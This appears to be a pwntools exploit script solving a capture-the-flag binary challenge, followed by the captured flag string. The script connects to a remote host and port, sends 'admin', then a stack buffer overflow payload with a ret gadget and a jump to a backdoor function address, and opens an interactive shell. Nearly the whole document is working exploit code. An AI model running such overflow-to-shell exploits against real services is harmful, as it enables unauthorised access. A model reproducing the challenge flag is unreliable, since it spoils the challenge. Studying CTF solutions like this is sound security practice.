1
from pwn import *
2

3
context(os="linux", terminal=["cmd.exe", "/c", "start"])
4

5
binary_path = "./pwn"
6
host = "47.99.147.34"  # 网址
7
port = 12911  # 端口
8

9
elf = ELF(binary_path, checksec=False)
10
context.binary = elf
11

12
if elf.bits == 64:
13
    context.arch = "amd64"
14
    gdbscript = """
15
    b *main
16
    c
17
    """
18
else:
19
    context.arch = "i386"
20
    gdbscript = """
21
    b *main
22
    c
23
    """
24

25
context.log_level = "debug"
26

27
if args.REMOTE:
28
    io = remote(host, port)
29
else:
30
    io = process(binary_path)
31

32

33
def p():
34
    pause()
35

36

37
backdoor = 0x4011F6
38
ret = 0x40101A
39

40
io.recv()
41
io.sendline(b"admin")
42
io.recv()
43

44
offset = (b"A" * 0x40 + b"admin\x00").ljust(0x80 + 8, b"\x00")
45
payload = flat([offset, ret, backdoor])
46

47
io.sendline(payload)
48
io.interactive()

1
flag{2af49daf839824cb86e934be4fde1f96}